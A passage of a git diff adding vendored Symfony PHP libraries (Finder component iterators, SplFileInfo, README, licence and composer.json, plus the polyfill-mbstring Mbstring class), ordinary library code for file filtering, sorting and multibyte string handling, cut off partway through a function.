($this->noMatchRegexps as $regex) { + if (preg_match($regex, $string)) { + return false; + } + } + + // should at least match one rule + if ($this->matchRegexps) { + foreach ($this->matchRegexps as $regex) { + if (preg_match($regex, $string)) { + return true; + } + } + + return false; + } + + // If there is no match rules, the file is accepted + return true; + } + + /** + * Checks whether the string is a regex. + * + * @param string $str + * + * @return bool Whether the given string is a regex + */ + protected function isRegex($str) + { + if (preg_match('/^(.{3,}?)[imsxuADU]*$/', $str, $m)) { + $start = substr($m[1], 0, 1); + $end = substr($m[1], -1); + + if ($start === $end) { + return !preg_match('/[*?[:alnum:] \\\\]/', $start); + } + + foreach ([['{', '}'], ['(', ')'], ['[', ']'], ['<', '>']] as $delimiters) { + if ($start === $delimiters[0] && $end === $delimiters[1]) { + return true; + } + } + } + + return false; + } + + /** + * Converts string into regexp. + * + * @param string $str Pattern + * + * @return string regexp corresponding to a given string + */ + abstract protected function toRegex($str); +} diff --git a/vendor/symfony/finder/Iterator/PathFilterIterator.php b/vendor/symfony/finder/Iterator/PathFilterIterator.php new file mode 100644 index 0000000..3fda557 --- /dev/null +++ b/vendor/symfony/finder/Iterator/PathFilterIterator.php @@ -0,0 +1,56 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\Finder\Iterator; + +/** + * PathFilterIterator filters files by path patterns (e.g. some/special/dir). + * + * @author Fabien Potencier + * @author Włodzimierz Gajda + */ +class PathFilterIterator extends MultiplePcreFilterIterator +{ + /** + * Filters the iterator values. + * + * @return bool true if the value should be kept, false otherwise + */ + public function accept() + { + $filename = $this->current()->getRelativePathname(); + + if ('\\' === \DIRECTORY_SEPARATOR) { + $filename = str_replace('\\', '/', $filename); + } + + return $this->isAccepted($filename); + } + + /** + * Converts strings to regexp. + * + * PCRE patterns are left unchanged. + * + * Default conversion: + * 'lorem/ipsum/dolor' ==> 'lorem\/ipsum\/dolor/' + * + * Use only / as directory separator (on Windows also). + * + * @param string $str Pattern: regexp or dirname + * + * @return string regexp corresponding to a given string or regexp + */ + protected function toRegex($str) + { + return $this->isRegex($str) ? $str : '/'.preg_quote($str, '/').'/'; + } +} diff --git a/vendor/symfony/finder/Iterator/RecursiveDirectoryIterator.php b/vendor/symfony/finder/Iterator/RecursiveDirectoryIterator.php new file mode 100644 index 0000000..7616b14 --- /dev/null +++ b/vendor/symfony/finder/Iterator/RecursiveDirectoryIterator.php @@ -0,0 +1,144 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\Finder\Iterator; + +use Symfony\Component\Finder\Exception\AccessDeniedException; +use Symfony\Component\Finder\SplFileInfo; + +/** + * Extends the \RecursiveDirectoryIterator to support relative paths. + * + * @author Victor Berchet + */ +class RecursiveDirectoryIterator extends \RecursiveDirectoryIterator +{ + /** + * @var bool + */ + private $ignoreUnreadableDirs; + + /** + * @var bool + */ + private $rewindable; + + // these 3 properties take part of the performance optimization to avoid redoing the same work in all iterations + private $rootPath; + private $subPath; + private $directorySeparator = '/'; + + /** + * @throws \RuntimeException + */ + public function __construct(string $path, int $flags, bool $ignoreUnreadableDirs = false) + { + if ($flags & (self::CURRENT_AS_PATHNAME | self::CURRENT_AS_SELF)) { + throw new \RuntimeException('This iterator only support returning current as fileinfo.'); + } + + parent::__construct($path, $flags); + $this->ignoreUnreadableDirs = $ignoreUnreadableDirs; + $this->rootPath = $path; + if ('/' !== \DIRECTORY_SEPARATOR && !($flags & self::UNIX_PATHS)) { + $this->directorySeparator = \DIRECTORY_SEPARATOR; + } + } + + /** + * Return an instance of SplFileInfo with support for relative paths. + * + * @return SplFileInfo File information + */ + public function current() + { + // the logic here avoids redoing the same work in all iterations + + if (null === $subPathname = $this->subPath) { + $subPathname = $this->subPath = (string) $this->getSubPath(); + } + if ('' !== $subPathname) { + $subPathname .= $this->directorySeparator; + } + $subPathname .= $this->getFilename(); + + if ('/' !== $basePath = $this->rootPath) { + $basePath .= $this->directorySeparator; + } + + return new SplFileInfo($basePath.$subPathname, $this->subPath, $subPathname); + } + + /** + * @return \RecursiveIterator + * + * @throws AccessDeniedException + */ + public function getChildren() + { + try { + $children = parent::getChildren(); + + if ($children instanceof self) { + // parent method will call the constructor with default arguments, so unreadable dirs won't be ignored anymore + $children->ignoreUnreadableDirs = $this->ignoreUnreadableDirs; + + // performance optimization to avoid redoing the same work in all children + $children->rewindable = &$this->rewindable; + $children->rootPath = $this->rootPath; + } + + return $children; + } catch (\UnexpectedValueException $e) { + if ($this->ignoreUnreadableDirs) { + // If directory is unreadable and finder is set to ignore it, a fake empty content is returned. + return new \RecursiveArrayIterator([]); + } else { + throw new AccessDeniedException($e->getMessage(), $e->getCode(), $e); + } + } + } + + /** + * Do nothing for non rewindable stream. + */ + public function rewind() + { + if (false === $this->isRewindable()) { + return; + } + + parent::rewind(); + } + + /** + * Checks if the stream is rewindable. + * + * @return bool true when the stream is rewindable, false otherwise + */ + public function isRewindable() + { + if (null !== $this->rewindable) { + return $this->rewindable; + } + + if (false !== $stream = @opendir($this->getPath())) { + $infos = stream_get_meta_data($stream); + closedir($stream); + + if ($infos['seekable']) { + return $this->rewindable = true; + } + } + + return $this->rewindable = false; + } +} diff --git a/vendor/symfony/finder/Iterator/SizeRangeFilterIterator.php b/vendor/symfony/finder/Iterator/SizeRangeFilterIterator.php new file mode 100644 index 0000000..2aeef67 --- /dev/null +++ b/vendor/symfony/finder/Iterator/SizeRangeFilterIterator.php @@ -0,0 +1,57 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\Finder\Iterator; + +use Symfony\Component\Finder\Comparator\NumberComparator; + +/** + * SizeRangeFilterIterator filters out files that are not in the given size range. + * + * @author Fabien Potencier + */ +class SizeRangeFilterIterator extends \FilterIterator +{ + private $comparators = []; + + /** + * @param \Iterator $iterator The Iterator to filter + * @param NumberComparator[] $comparators An array of NumberComparator instances + */ + public function __construct(\Iterator $iterator, array $comparators) + { + $this->comparators = $comparators; + + parent::__construct($iterator); + } + + /** + * Filters the iterator values. + * + * @return bool true if the value should be kept, false otherwise + */ + public function accept() + { + $fileinfo = $this->current(); + if (!$fileinfo->isFile()) { + return true; + } + + $filesize = $fileinfo->getSize(); + foreach ($this->comparators as $compare) { + if (!$compare->test($filesize)) { + return false; + } + } + + return true; + } +} diff --git a/vendor/symfony/finder/Iterator/SortableIterator.php b/vendor/symfony/finder/Iterator/SortableIterator.php new file mode 100644 index 0000000..8f0090c --- /dev/null +++ b/vendor/symfony/finder/Iterator/SortableIterator.php @@ -0,0 +1,101 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\Finder\Iterator; + +/** + * SortableIterator applies a sort on a given Iterator. + * + * @author Fabien Potencier + */ +class SortableIterator implements \IteratorAggregate +{ + const SORT_BY_NONE = 0; + const SORT_BY_NAME = 1; + const SORT_BY_TYPE = 2; + const SORT_BY_ACCESSED_TIME = 3; + const SORT_BY_CHANGED_TIME = 4; + const SORT_BY_MODIFIED_TIME = 5; + const SORT_BY_NAME_NATURAL = 6; + + private $iterator; + private $sort; + + /** + * @param \Traversable $iterator The Iterator to filter + * @param int|callable $sort The sort type (SORT_BY_NAME, SORT_BY_TYPE, or a PHP callback) + * + * @throws \InvalidArgumentException + */ + public function __construct(\Traversable $iterator, $sort, bool $reverseOrder = false) + { + $this->iterator = $iterator; + $order = $reverseOrder ? -1 : 1; + + if (self::SORT_BY_NAME === $sort) { + $this->sort = static function ($a, $b) use ($order) { + return $order * strcmp($a->getRealPath() ?: $a->getPathname(), $b->getRealPath() ?: $b->getPathname()); + }; + } elseif (self::SORT_BY_NAME_NATURAL === $sort) { + $this->sort = static function ($a, $b) use ($order) { + return $order * strnatcmp($a->getRealPath() ?: $a->getPathname(), $b->getRealPath() ?: $b->getPathname()); + }; + } elseif (self::SORT_BY_TYPE === $sort) { + $this->sort = static function ($a, $b) use ($order) { + if ($a->isDir() && $b->isFile()) { + return -$order; + } elseif ($a->isFile() && $b->isDir()) { + return $order; + } + + return $order * strcmp($a->getRealPath() ?: $a->getPathname(), $b->getRealPath() ?: $b->getPathname()); + }; + } elseif (self::SORT_BY_ACCESSED_TIME === $sort) { + $this->sort = static function ($a, $b) use ($order) { + return $order * ($a->getATime() - $b->getATime()); + }; + } elseif (self::SORT_BY_CHANGED_TIME === $sort) { + $this->sort = static function ($a, $b) use ($order) { + return $order * ($a->getCTime() - $b->getCTime()); + }; + } elseif (self::SORT_BY_MODIFIED_TIME === $sort) { + $this->sort = static function ($a, $b) use ($order) { + return $order * ($a->getMTime() - $b->getMTime()); + }; + } elseif (self::SORT_BY_NONE === $sort) { + $this->sort = $order; + } elseif (\is_callable($sort)) { + $this->sort = $reverseOrder ? static function ($a, $b) use ($sort) { return -$sort($a, $b); } : $sort; + } else { + throw new \InvalidArgumentException('The SortableIterator takes a PHP callable or a valid built-in sort algorithm as an argument.'); + } + } + + /** + * @return \Traversable + */ + public function getIterator() + { + if (1 === $this->sort) { + return $this->iterator; + } + + $array = iterator_to_array($this->iterator, true); + + if (-1 === $this->sort) { + $array = array_reverse($array); + } else { + uasort($array, $this->sort); + } + + return new \ArrayIterator($array); + } +} diff --git a/vendor/symfony/finder/LICENSE b/vendor/symfony/finder/LICENSE new file mode 100644 index 0000000..9e936ec --- /dev/null +++ b/vendor/symfony/finder/LICENSE @@ -0,0 +1,19 @@ +Copyright (c) 2004-2020 Fabien Potencier + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is furnished +to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/vendor/symfony/finder/README.md b/vendor/symfony/finder/README.md new file mode 100644 index 0000000..0b19c75 --- /dev/null +++ b/vendor/symfony/finder/README.md @@ -0,0 +1,14 @@ +Finder Component +================ + +The Finder component finds files and directories via an intuitive fluent +interface. + +Resources +--------- + + * [Documentation](https://symfony.com/doc/current/components/finder.html) + * [Contributing](https://symfony.com/doc/current/contributing/index.html) + * [Report issues](https://github.com/symfony/symfony/issues) and + [send Pull Requests](https://github.com/symfony/symfony/pulls) + in the [main Symfony repository](https://github.com/symfony/symfony) diff --git a/vendor/symfony/finder/SplFileInfo.php b/vendor/symfony/finder/SplFileInfo.php new file mode 100644 index 0000000..62c9faa --- /dev/null +++ b/vendor/symfony/finder/SplFileInfo.php @@ -0,0 +1,85 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\Finder; + +/** + * Extends \SplFileInfo to support relative paths. + * + * @author Fabien Potencier + */ +class SplFileInfo extends \SplFileInfo +{ + private $relativePath; + private $relativePathname; + + /** + * @param string $file The file name + * @param string $relativePath The relative path + * @param string $relativePathname The relative path name + */ + public function __construct(string $file, string $relativePath, string $relativePathname) + { + parent::__construct($file); + $this->relativePath = $relativePath; + $this->relativePathname = $relativePathname; + } + + /** + * Returns the relative path. + * + * This path does not contain the file name. + * + * @return string the relative path + */ + public function getRelativePath() + { + return $this->relativePath; + } + + /** + * Returns the relative path name. + * + * This path contains the file name. + * + * @return string the relative path name + */ + public function getRelativePathname() + { + return $this->relativePathname; + } + + public function getFilenameWithoutExtension(): string + { + $filename = $this->getFilename(); + + return pathinfo($filename, \PATHINFO_FILENAME); + } + + /** + * Returns the contents of the file. + * + * @return string the contents of the file + * + * @throws \RuntimeException + */ + public function getContents() + { + set_error_handler(function ($type, $msg) use (&$error) { $error = $msg; }); + $content = file_get_contents($this->getPathname()); + restore_error_handler(); + if (false === $content) { + throw new \RuntimeException($error); + } + + return $content; + } +} diff --git a/vendor/symfony/finder/composer.json b/vendor/symfony/finder/composer.json new file mode 100644 index 0000000..7a696aa --- /dev/null +++ b/vendor/symfony/finder/composer.json @@ -0,0 +1,28 @@ +{ + "name": "symfony/finder", + "type": "library", + "description": "Symfony Finder Component", + "keywords": [], + "homepage": "https://symfony.com", + "license": "MIT", + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "require": { + "php": ">=7.1.3" + }, + "autoload": { + "psr-4": { "Symfony\\Component\\Finder\\": "" }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "minimum-stability": "dev" +} diff --git a/vendor/symfony/polyfill-mbstring/LICENSE b/vendor/symfony/polyfill-mbstring/LICENSE new file mode 100644 index 0000000..4cd8bdd --- /dev/null +++ b/vendor/symfony/polyfill-mbstring/LICENSE @@ -0,0 +1,19 @@ +Copyright (c) 2015-2019 Fabien Potencier + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is furnished +to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/vendor/symfony/polyfill-mbstring/Mbstring.php b/vendor/symfony/polyfill-mbstring/Mbstring.php new file mode 100644 index 0000000..7bb3023 --- /dev/null +++ b/vendor/symfony/polyfill-mbstring/Mbstring.php @@ -0,0 +1,846 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Polyfill\Mbstring; + +/** + * Partial mbstring implementation in PHP, iconv based, UTF-8 centric. + * + * Implemented: + * - mb_chr - Returns a specific character from its Unicode code point + * - mb_convert_encoding - Convert character encoding + * - mb_convert_variables - Convert character code in variable(s) + * - mb_decode_mimeheader - Decode string in MIME header field + * - mb_encode_mimeheader - Encode string for MIME header XXX NATIVE IMPLEMENTATION IS REALLY BUGGED + * - mb_decode_numericentity - Decode HTML numeric string reference to character + * - mb_encode_numericentity - Encode character to HTML numeric string reference + * - mb_convert_case - Perform case folding on a string + * - mb_detect_encoding - Detect character encoding + * - mb_get_info - Get internal settings of mbstring + * - mb_http_input - Detect HTTP input character encoding + * - mb_http_output - Set/Get HTTP output character encoding + * - mb_internal_encoding - Set/Get internal character encoding + * - mb_list_encodings - Returns an array of all supported encodings + * - mb_ord - Returns the Unicode code point of a character + * - mb_output_handler - Callback function converts character encoding in output buffer + * - mb_scrub - Replaces ill-formed byte sequences with substitute characters + * - mb_strlen - Get string length + * - mb_strpos - Find position of first occurrence of string in a string + * - mb_strrpos - Find position of last occurrence of a string in a string + * - mb_str_split - Convert a string to an array + * - mb_strtolower - Make a string lowercase + * - mb_strtoupper - Make a string uppercase + * - mb_substitute_character - Set/Get substitution character + * - mb_substr - Get part of string + * - mb_stripos - Finds position of first occurrence of a string within another, case insensitive + * - mb_stristr - Finds first occurrence of a string within another, case insensitive + * - mb_strrchr - Finds the last occurrence of a character in a string within another + * - mb_strrichr - Finds the last occurrence of a character in a string within another, case insensitive + * - mb_strripos - Finds position of last occurrence of a string within another, case insensitive + * - mb_strstr - Finds first occurrence of a string within another + * - mb_strwidth - Return width of string + * - mb_substr_count - Count the number of substring occurrences + * + * Not implemented: + * - mb_convert_kana - Convert "kana" one from another ("zen-kaku", "han-kaku" and more) + * - mb_ereg_* - Regular expression with multibyte support + * - mb_parse_str - Parse GET/POST/COOKIE data and set global variable + * - mb_preferred_mime_name - Get MIME charset string + * - mb_regex_encoding - Returns current encoding for multibyte regex as string + * - mb_regex_set_options - Set/Get the default options for mbregex functions + * - mb_send_mail - Send encoded mail + * - mb_split - Split multibyte string using regular expression + * - mb_strcut - Get part of string + * - mb_strimwidth - Get truncated string with specified width + * + * @author Nicolas Grekas + * + * @internal + */ +final class Mbstring +{ + const MB_CASE_FOLD = PHP_INT_MAX; + + private static $encodingList = array('ASCII', 'UTF-8'); + private static $language = 'neutral'; + private static $internalEncoding = 'UTF-8'; + private static $caseFold = array( + array('µ', 'ſ', "\xCD\x85", 'ς', "\xCF\x90", "\xCF\x91", "\xCF\x95", "\xCF\x96", "\xCF\xB0", "\xCF\xB1", "\xCF\xB5", "\xE1\xBA\x9B", "\xE1\xBE\xBE"), + array('μ', 's', 'ι', 'σ', 'β', 'θ', 'φ', 'π', 'κ', 'ρ', 'ε', "\xE1\xB9\xA1", 'ι'), + ); + + public static function mb_convert_encoding($s, $toEncoding, $fromEncoding = null) + { + if (\is_array($fromEncoding) || false !== strpos($fromEncoding, ',')) { + $fromEncoding = self::mb_detect_encoding($s, $fromEncoding); + } else { + $fromEncoding = self::getEncoding($fromEncoding); + } + + $toEncoding = self::getEncoding($toEncoding); + + if ('BASE64' === $fromEncoding) { + $s = base64_decode($s); + $fromEncoding = $toEncoding; + } + + if ('BASE64' === $toEncoding) { + return base64_encode($s); + } + + if ('HTML-ENTITIES' === $toEncoding || 'HTML' === $toEncoding) { + if ('HTML-ENTITIES' === $fromEncoding || 'HTML' === $fromEncoding) { + $fromEncoding = 'Windows-1252'; + } + if ('UTF-8' !== $fromEncoding) { + $s = iconv($fromEncoding, 'UTF-8//IGNORE', $s); + } + + return preg_replace_callback('/[\x80-\xFF]+/', array(__CLASS__, 'html_encoding_callback'), $s); + } + + if ('HTML-ENTITIES' === $fromEncoding) { + $s = html_entity_decode($s, ENT_COMPAT, 'UTF-8'); + $fromEncoding = 'UTF-8'; + } + + return iconv($fromEncoding, $toEncoding.'//IGNORE', $s); + } + + public static function mb_convert_variables($toEncoding, $fromEncoding, &...$vars) + { + $ok = true; + array_walk_recursive($vars, function (&$v) use (&$ok, $toEncoding, $fromEncoding) { + if (false === $v = Mbstring::mb_convert_encoding($v, $toEncoding, $fromEncoding)) { + $ok = false; + } + }); + + return $ok ? $fromEncoding : false; + } + + public static function mb_decode_mimeheader($s) + { + return iconv_mime_decode($s, 2, self::$internalEncoding); + } + + public static function mb_encode_mimeheader($s, $charset = null, $transferEncoding = null, $linefeed = null, $indent = null) + { + trigger_error('mb_encode_mimeheader() is bugged. Please use iconv_mime_encode() instead', E_USER_WARNING); + } + + public static function mb_decode_numericentity($s, $convmap, $encoding = null) + { + if (null !== $s && !\is_scalar($s) && !(\is_object($s) && \method_exists($s, '__toString'))) { + trigger_error('mb_decode_numericentity() expects parameter 1 to be string, '.\gettype($s).' given', E_USER_WARNING); + + return null; + } + + if (!\is_array($convmap) || !$convmap) { + return false; + } + + if (null !== $encoding && !\is_scalar($encoding)) { + trigger_error('mb_decode_numericentity() expects parameter 3 to be string, '.\gettype($s).' given', E_USER_WARNING); + + return ''; // Instead of null (cf. mb_encode_numericentity). + } + + $s = (string) $s; + if ('' === $s) { + return ''; + } + + $encoding = self::getEncoding($encoding); + + if ('UTF-8' === $encoding) { + $encoding = null; + if (!preg_match('//u', $s)) { + $s = @iconv('UTF-8', 'UTF-8//IGNORE', $s); + } + } else { + $s = iconv($encoding, 'UTF-8//IGNORE', $s); + } + + $cnt = floor(\count($convmap) / 4) * 4; + + for ($i = 0; $i < $cnt; $i += 4) { + // collector_decode_htmlnumericentity ignores $convmap[$i + 3] + $convmap[$i] += $convmap[$i + 2]; + $convmap[$i + 1] += $convmap[$i + 2]; + } + + $s = preg_replace_callback('/&#(?:0*([0-9]+)|x0*([0-9a-fA-F]+))(?!&);?/', function (array $m) use ($cnt, $convmap) { + $c = isset($m[2]) ? (int) hexdec($m[2]) : $m[1]; + for ($i = 0; $i < $cnt; $i += 4) { + if ($c >= $convmap[$i] && $c <= $convmap[$i + 1]) { + return Mbstring::mb_chr($c - $convmap[$i + 2]); + } + } + + return $m[0]; + }, $s); + + if (null === $encoding) { + return $s; + } + + return iconv('UTF-8', $encoding.'//IGNORE', $s); + } + + public static function mb_encode_numericentity($s, $convmap, $encoding = null, $is_hex = false) + { + if (null !== $s && !\is_scalar($s) && !(\is_object($s) && \method_exists($s, '__toString'))) { + trigger_error('mb_encode_numericentity() expects parameter 1 to be string, '.\gettype($s).' given', E_USER_WARNING); + + return null; + } + + if (!\is_array($convmap) || !$convmap) { + return false; + } + + if (null !== $encoding && !\is_scalar($encoding)) { + trigger_error('mb_encode_numericentity() expects parameter 3 to be string, '.\gettype($s).' given', E_USER_WARNING); + + return null; // Instead of '' (cf. mb_decode_numericentity). + } + + if (null !== $is_hex && !\is_scalar($is_hex)) { + trigger_error('mb_encode_numericentity() expects parameter 4 to be boolean, '.\gettype($s).' given', E_USER_WARNING); + + return null; + } + + $s = (string) $s; + if ('' === $s) { + return ''; + } + + $encoding = self::getEncoding($encoding); + + if ('UTF-8' === $encoding) { + $encoding = null; + if (!preg_match('//u', $s)) { + $s = @iconv('UTF-8', 'UTF-8//IGNORE', $s); + } + } else { + $s = iconv($encoding, 'UTF-8//IGNORE', $s); + } + + static $ulenMask = array("\xC0" => 2, "\xD0" => 2, "\xE0" => 3, "\xF0" => 4); + + $cnt = floor(\count($convmap) / 4) * 4; + $i = 0; + $len = \strlen($s); + $result = ''; + + while ($i < $len) { + $ulen = $s[$i] < "\x80" ? 1 : $ulenMask[$s[$i] & "\xF0"]; + $uchr = substr($s, $i, $ulen); + $i += $ulen; + $c = self::mb_ord($uchr); + + for ($j = 0; $j < $cnt; $j += 4) { + if ($c >= $convmap[$j] && $c <= $convmap[$j + 1]) { + $cOffset = ($c + $convmap[$j + 2]) & $convmap[$j + 3]; + $result .= $is_hex ? sprintf('&#x%X;', $cOffset) : '&#'.$cOffset.';'; + continue 2; + } + } + $result .= $uchr; + } + + if (null === $encoding) { + return $result; + } + + return iconv('UTF-8', $encoding.'//IGNORE', $result); + } + + public static function mb_convert_case($s, $mode, $encoding = null) + { + $s = (string) $s; + if ('' === $s) { + return ''; + } + + $encoding = self::getEncoding($encoding); + + if ('UTF-8' === $encoding) { + $encoding = null; + if (!preg_match('//u', $s)) { + $s = @iconv('UTF-8', 'UTF-8//IGNORE', $s); + } + } else { + $s = iconv($encoding, 'UTF-8//IGNORE', $s); + } + + if (MB_CASE_TITLE == $mode) { + static $titleRegexp = null; + if (null === $titleRegexp) { + $titleRegexp = self::getData('titleCaseRegexp'); + } + $s = preg_replace_callback($titleRegexp, array(__CLASS__, 'title_case'), $s); + } else { + if (MB_CASE_UPPER == $mode) { + static $upper = null; + if (null === $upper) { + $upper = self::getData('upperCase'); + } + $map = $upper; + } else { + if (self::MB_CASE_FOLD === $mode) { + $s = str_replace(self::$caseFold[0], self::$caseFold[1], $s); + } + + static $lower = null; + if (null === $lower) { + $lower = self::getData('lowerCase'); + } + $map = $lower; + } + + static $ulenMask = array("\xC0" => 2, "\xD0" => 2, "\xE0" => 3, "\xF0" => 4); + + $i = 0; + $len = \strlen($s); + + while ($i < $len) { + $ulen = $s[$i] < "\x80" ? 1 : $ulenMask[$s[$i] & "\xF0"]; + $uchr = substr($s, $i, $ulen); + $i += $ulen; + + if (isset($map[$uchr])) { + $uchr = $map[$uchr]; + $nlen = \strlen($uchr); + + if ($nlen == $ulen) { + $nlen = $i; + do { + $s[--$nlen] = $uchr[--$ulen]; + } while ($ulen); + } else { + $s = substr_replace($s, $uchr, $i - $ulen, $ulen); + $len += $nlen - $ulen; + $i += $nlen - $ulen; + } + } + } + } + + if (null === $encoding) { + return $s; + } + + return iconv('UTF-8', $encoding.'//IGNORE', $s); + } + + public static function mb_internal_encoding($encoding = null) + { + if (null === $encoding) { + return self::$internalEncoding; + } + + $encoding = self::getEncoding($encoding); + + if ('UTF-8' === $encoding || false !== @iconv($encoding, $encoding, ' ')) { + self::$internalEncoding = $encoding; + + return true; + } + + return false; + } + + public static function mb_language($lang = null) + { + if (null === $lang) { + return self::$language; + } + + switch ($lang = strtolower($lang)) { + case 'uni': + case 'neutral': + self::$language = $lang; + + return true; + } + + return false; + } + + public static function mb_list_encodings() + { + return array('UTF-8'); + } + + public static function mb_encoding_aliases($encoding) + { + switch (strtoupper($encoding)) { + case 'UTF8': + case 'UTF-8': + return array('utf8'); + } + + return false; + } + + public static function mb_check_encoding($var = null, $encoding = null) + { + if (null === $encoding) { + if (null === $var) { + return false; + } + $encoding = self::$internalEncoding; + } + + return self::mb_detect_encoding($var, array($encoding)) || false !== @iconv($encoding, $encoding, $var); + } + + public static function mb_detect_encoding($str, $encodingList = null, $strict = false) + { + if (null === $encodingList) { + $encodingList = self::$encodingList; + } else { + if (!\is_array($encodingList)) { + $encodingList = array_map('trim', explode(',', $encodingList)); + } + $encodingList = array_map('strtoupper', $encodingList); + } + + foreach ($encodingList as $enc) { + switch ($enc) { + case 'ASCII': + if (!preg_match('/[\x80-\xFF]/', $str)) { + return $enc; + } + break; + + case 'UTF8': + case 'UTF-8': + if (preg_match('//u', $str)) { + return 'UTF-8'; + } + break; + + default: + if (0 === strncmp($enc, 'ISO-8859-', 9)) { + return $enc; + } + } + } + + return false; + } + + public static function mb_detect_order($encodingList = null) + { + if (null === $encodingList) { + return self::$encodingList; + } + + if (!\is_array($encodingList)) { + $encodingList = array_map('trim', explode(',', $encodingList)); + } + $encodingList = array_map('strtoupper', $encodingList); + + foreach ($encodingList as $enc) { + switch ($enc) { + default: + if (strncmp($enc, 'ISO-8859-', 9)) { + return false; + } + // no break + case 'ASCII': + case 'UTF8': + case 'UTF-8': + } + } + + self::$encodingList = $encodingList; + + return true; + } + + public static function mb_strlen($s, $encoding = null) + { + $encoding = self::getEncoding($encoding); + if ('CP850' === $encoding || 'ASCII' === $encoding) { + return \strlen($s); + } + + return @iconv_strlen($s, $encoding); + } + + public static function mb_strpos($haystack, $needle, $offset = 0, $encoding = null) + { + $encoding = self::getEncoding($encoding); + if ('CP850' === $encoding || 'ASCII' === $encoding) { + return strpos($haystack, $needle, $offset); + } + + $needle = (string) $needle; + if ('' === $needle) { + trigger_error(__METHOD__.': Empty delimiter', E_USER_WARNING); + + return false; + } + + return iconv_strpos($haystack, $needle, $offset, $encoding); + } + + public static function mb_strrpos($haystack, $needle, $offset = 0, $encoding = null) + { + $encoding = self::getEncoding($encoding); + if ('CP850' === $encoding || 'ASCII' === $encoding) { + return strrpos($haystack, $needle, $offset); + } + + if ($offset != (int) $offset) { + $offset = 0; + } elseif ($offset = (int) $offset) { + if ($offset < 0) { + if (0 > $offset += self::mb_strlen($needle)) { + $haystack = self::mb_substr($haystack, 0, $offset, $encoding); + } + $offset = 0; + } else { + $haystack = self::mb_substr($haystack, $offset, 2147483647, $encoding); + } + } + + $pos = iconv_strrpos($haystack, $needle, $encoding); + + return false !== $pos ? $offset + $pos : false; + } + + public static function mb_str_split($string, $split_length = 1, $encoding = null) + { + if (null !== $string && !\is_scalar($string) && !(\is_object($string) && \method_exists($string, '__toString'))) { + trigger_error('mb_str_split() expects parameter 1 to be string, '.\gettype($string).' given', E_USER_WARNING); + + return null; + } + + if (1 > $split_length = (int) $split_length) { + trigger_error('The length of each segment must be greater than zero', E_USER_WARNING); + + return false; + } + + if (null === $encoding) { + $encoding = mb_internal_encoding(); + } + + if ('UTF-8' === $encoding = self::getEncoding($encoding)) { + $rx = '/('; + while (65535 < $split_length) { + $rx .= '.{65535}'; + $split_length -= 65535; + } + $rx .= '.{'.$split_length.'})/us'; + + return preg_split($rx, $string, null, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY); + } + + $result = array(); + $length = mb_strlen($string, $encoding); + + for ($i = 0; $i < $length; $i += $split_length) { + $result[] = mb_substr($string, $i, $split_length, $encoding); + } + + return $result; + } + + public static function mb_strtolower($s, $encoding = null) + { + return self::mb_convert_case($s, MB_CASE_LOWER, $encoding); + } + + public static function mb_strtoupper($s, $encoding = null) + { + return self::mb_convert_case($s, MB_CASE_UPPER, $encoding); + } + + public static function mb_substitute_character($c = null) + { + if (0 === strcasecmp($c, 'none')) { + return true; + } + + return null !== $c ? false : 'none'; + } + + public static function mb_substr($s, $start, $length = null, $encoding = null) + { + $encoding = self::getEncoding($encoding); + if ('CP850' === $encoding || 'ASCII' === $encoding) { + return (string) substr($s, $start, null === $length ? 2147483647 : $length); + } + + if ($start < 0) { + $start = iconv_strlen($s, $encoding) + $start; + if ($start < 0) { + $start = 0; + } + } + + if (null === $length) { + $length = 2147483647; + } elseif ($length < 0) { + $length = iconv_strlen($s, $encoding) + $length - $start; + if ($length < 0) { + return ''; + } + } + + return (string) iconv_substr($s, $start, $length, $encoding); + } + + public static function mb_stripos($haystack, $needle, $offset = 0, $encoding = null) + { + $haystack = self::mb_convert_case($haystack, self::MB_CASE_FOLD, $encoding); + $needle = 